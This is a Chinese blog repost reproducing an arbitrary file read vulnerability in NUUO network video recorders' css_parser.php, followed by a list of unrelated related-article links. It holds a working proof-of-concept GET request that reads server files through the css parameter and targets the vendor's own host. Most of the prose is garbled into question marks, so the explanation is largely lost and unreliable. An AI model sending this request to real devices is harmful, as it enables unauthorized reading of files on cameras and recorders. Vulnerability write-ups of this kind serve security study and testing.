NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：805 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

PySpark - 在数据框中求和一列并将结果返回为 int

查看>>

pyspark On Yarn 的模块依赖问题

查看>>

PySpeech(Python)-转录MP3文件？

查看>>

Pyspider WebUI 未授权访问致远程代码执行漏洞复现

查看>>

pyspider爬虫学习-文档翻译-Architecture.md

查看>>

pytesseract.pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path

Pytest Fixture的妙用：深度解析范围和实际运用！

查看>>

Pytest monkeypatch不适用于导入的函数

查看>>

Pytest 命令行报错： Hint: make sure your test modules/packages have valid Python names.

查看>>

pytest 的 request fixture：实现个性化测试需求

查看>>

Pytest+Allure 接口自动化测试平台开发实战

查看>>

pytest+allure使用动态级别，参数化severity

查看>>

Pytest+Unittest+Git+Jenkins企业级CICD自动化测试平台建设方案

查看>>

Pytest+Yaml 数据驱动测试用例

查看>>

pytest-base-url插件之配置可选的项目系统URL

查看>>

pytest-xdist 进行多进程并发测试！

查看>>

pytest-xdist：远程多主机 - 分布式运行自动化测试

查看>>

Pytest中doctests的测试方法应用！

查看>>